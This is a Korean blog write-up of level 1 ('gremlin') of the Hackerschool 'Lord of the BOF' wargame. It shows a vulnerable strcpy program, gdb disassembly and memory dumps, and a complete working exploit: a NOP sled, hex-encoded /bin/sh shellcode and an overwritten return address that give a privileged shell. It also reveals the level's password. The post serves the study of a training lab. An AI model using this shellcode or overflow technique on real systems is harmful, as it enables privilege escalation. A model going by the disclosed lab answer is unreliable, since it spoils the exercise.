티스토리 뷰

해커스쿨에서 제공하는 BOF 원정대 1단계입니다. 


우선 gate / gate로 로그인 하면 gremlin.c 파일과 gremlin 실행 파일이 있습니다. 


BOF 원정대 서버에서 기본적으로 뜨는 쉘은 bash 쉘입니다.


근데 이 놈의 bash 쉘 버전이 너무 낮아 문제가 발생하므로 


bash2 명령어를 입력하고 bash2 쉘 상태에서 진행해야합니다.

(bash1 에서 메모리상 0xff 값을 0x00 으로 처리해버림)



우선 gremlin.c를 까보겠습니다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
/*
    The Lord of the BOF : The Fellowship of the BOF 
    - gremlin
    - simple BOF
*/
 
int main(int argc, char *argv[])
{
    char buffer[256];
    if(argc < 2){
        printf("argv error\n");
        exit(0);
    }
    strcpy(buffer, argv[1]);
    printf("%s\n", buffer);
}


버퍼의 크기가 256 byte 이고 strcpy를 통해 argv[1]을 입력 받습니다.


환경변수를 사용해도 괜찮을 것 같고, nop sled를 사용해도 괜찮겠지만


버퍼의 크기가 넉넉하니 쉘 코드를 버퍼에 직접 박는 nop sled 를 사용해 보겠습니다.




ret 주소를 구하기 위해 gremlin 파일을 gdb로 까보겠습니다.


gdb 에서 set dissembly-flavor intel 명령어를 사용하여 좀 더 보기쉽게 만들었습니다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
0x8048430 <main>:    push   %ebp
0x8048431 <main+1>:    mov    %ebp,%esp
0x8048433 <main+3>:    sub    %esp,0x100
0x8048439 <main+9>:    cmp    DWORD PTR [%ebp+8],1
0x804843d <main+13>:    jg     0x8048456 <main+38>
0x804843f <main+15>:    push   0x80484e0
0x8048444 <main+20>:    call   0x8048350 <printf>
0x8048449 <main+25>:    add    %esp,4
0x804844c <main+28>:    push   0
0x804844e <main+30>:    call   0x8048360 <exit>
0x8048453 <main+35>:    add    %esp,4
0x8048456 <main+38>:    mov    %eax,DWORD PTR [%ebp+12]
0x8048459 <main+41>:    add    %eax,4
0x804845c <main+44>:    mov    %edx,DWORD PTR [%eax]
0x804845e <main+46>:    push   %edx
0x804845f <main+47>:    lea    %eax,[%ebp-256]
0x8048465 <main+53>:    push   %eax
0x8048466 <main+54>:    call   0x8048370 <strcpy>
0x804846b <main+59>:    add    %esp,8
0x804846e <main+62>:    lea    %eax,[%ebp-256]
0x8048474 <main+68>:    push   %eax
0x8048475 <main+69>:    push   0x80484ec
0x804847a <main+74>:    call   0x8048350 <printf>
0x804847f <main+79>:    add    %esp,8
0x8048482 <main+82>:    leave  
0x8048483 <main+83>:    ret



buffer 변수의 위치가 ebp-256 인 것을 확인 할 수 있습니다. 


공격자는 260 byte 만큼을 사용할 수 있습니다.


지금 사용하는 쉘코드의 크기가 61 byte니 199 byte를 nop로 채우면 됩니다.




나중에 perl 구문으로 찍을 주소번지를 찾기 위해 소스코드를 복사하여 사본을 컴파일 했습니다.


사본 파일을 다시 gdb로 불러와서 buffer에 값이 입력되는 바로 뒤 main+62에 break를 찍고


다음과 같은 perl 구문을 짜서 run 돌린 다음 x/x 명령어로 메모리를 확인합니다.




(gdb) break *main+62

(gdb) r `perl -e 'print "\x90"x199, "쉘코드61byte"';`

(gdb) x/100x $esp


1
2
3
4
5
6
7
8
9
10
11
12
13
0xbffff8f8:    0x90909090    0x90909090    0x90909090    0x90909090
0xbffff908:    0x90909090    0x90909090    0x90909090    0x90909090
0xbffff918:    0x90909090    0x90909090    0x90909090    0x90909090
0xbffff928:    0x90909090    0x90909090    0x90909090    0x90909090
0xbffff938:    0x90909090    0x90909090    0x90909090    0x90909090
0xbffff948:    0x90909090    0x90909090    0x90909090    0x90909090
0xbffff958:    0x90909090    0x90909090    0x90909090    0x90909090
0xbffff968:    0x90909090    0x90909090    0x90909090    0x90909090
0xbffff978:    0x90909090    0x90909090    0x90909090    0x90909090
0xbffff988:    0x90909090    0x90909090    0x90909090    0x90909090
0xbffff998:    0x90909090    0x90909090    0x90909090    0x90909090
0xbffff9a8:    0x90909090    0x90909090    0x90909090    0x90909090
0xbffff9b8:    0x90909090    0x31909090    0xcd31b0c0    0x89c38980


저 넘처나는 0x90 들 중 괜찮다고 생각하는 것을 하나 찍습니다. (전 0xbffff918)


그리고 미완성된 perl 구문을 완성 시킵니다.


ret 주소값을 직접 박을 때는 뒤에서 부터 두 자리씩 끊어서 넣어줍니다. (bf ff f9 18 역순)



./gremlin `perl -e 'print "\x90"x199, "\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68", "\x18\xf9\xff\xbf"';`




실제로 홈 디렉토리에서 실행시켜 보겠습니다.


nop sled 기법이라 한 40번을 찍어야 쉘이 따질줄 알았는데 의외로 한방에 따졌습니다;




whoami 명령어를 입력해보면 gremlin 이라고 뜨는 걸보니 권한 상승이 되었습니다.



그리고 BOF 원정대 전용 명령어 my-pass 를 입력하니 비밀번호가 hello bof world 네요 







저작자 표시 비영리 변경 금지
신고
공유하기 링크
태그 클라우드
, ,
프로필사진

Yowu (Yu Yongwoo)

My MBTI type is ENTP. (Of course I do not believe it 100%, but I want to do that) I use Node.js to develop the backend. I use Ubuntu Linux as my development environment, and I love Vim. I am interested in open source and are keen to contribute. I have a bachelor's degree in computer science from Catholic University and now a software engineer at Plating Inc., I spent about 5 years developing and learning, and I am still interested in software development and culture. Recently, I am interested in React, Serverless structure, Domain Design Driven. Sometimes I play drums in the band.